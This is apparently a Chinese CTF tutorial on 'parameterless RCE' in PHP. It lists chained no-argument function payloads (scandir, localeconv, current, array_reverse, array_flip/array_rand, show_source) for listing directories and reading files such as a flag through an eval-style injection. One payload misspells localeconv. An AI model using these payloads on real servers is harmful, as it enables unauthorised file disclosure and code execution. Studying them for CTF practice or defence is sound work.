无参数RCE
无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果
1.获取根目录下文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); //读取
有一定几率失败
2.获取当前目录下文件
正常的,print_r(scandir('.'));可以用来查看当前目录所有文件名
但是要怎么构造参数里这个点呢,这里介绍几个方法:
(1)localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
要怎么取到这个点呢,另一个函数:
current()返回数组中的单元,默认取第一个值
因此payload:print_r(scandir(current(localconv())))
或者使用print_r(scandir(pos(localeconv())));,pos是current的别名
读取当前目录文件名
(1)如果要读取最后一个文件
我们可以使用show_source(end(scandir(getcwd())));
或者用readfile、highlight_file、file_get_contents 等读文件函数都可以
(2)介绍一个函数:array_reverse() 以相反的元素顺序返回数组
show_source(current(array_reverse(scandir(getcwd()))));
这样返回的也是第一个文件
(3)如果是倒数第二个 我们可以用
show_source(next(array_reverse(scandir(getcwd()))));
(4)如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
所以我们可以用:
show_source(array_rand(array_flip(scandir(getcwd()))));
多刷新几次 就可以得到flag的位置

浙公网安备 33010602011771号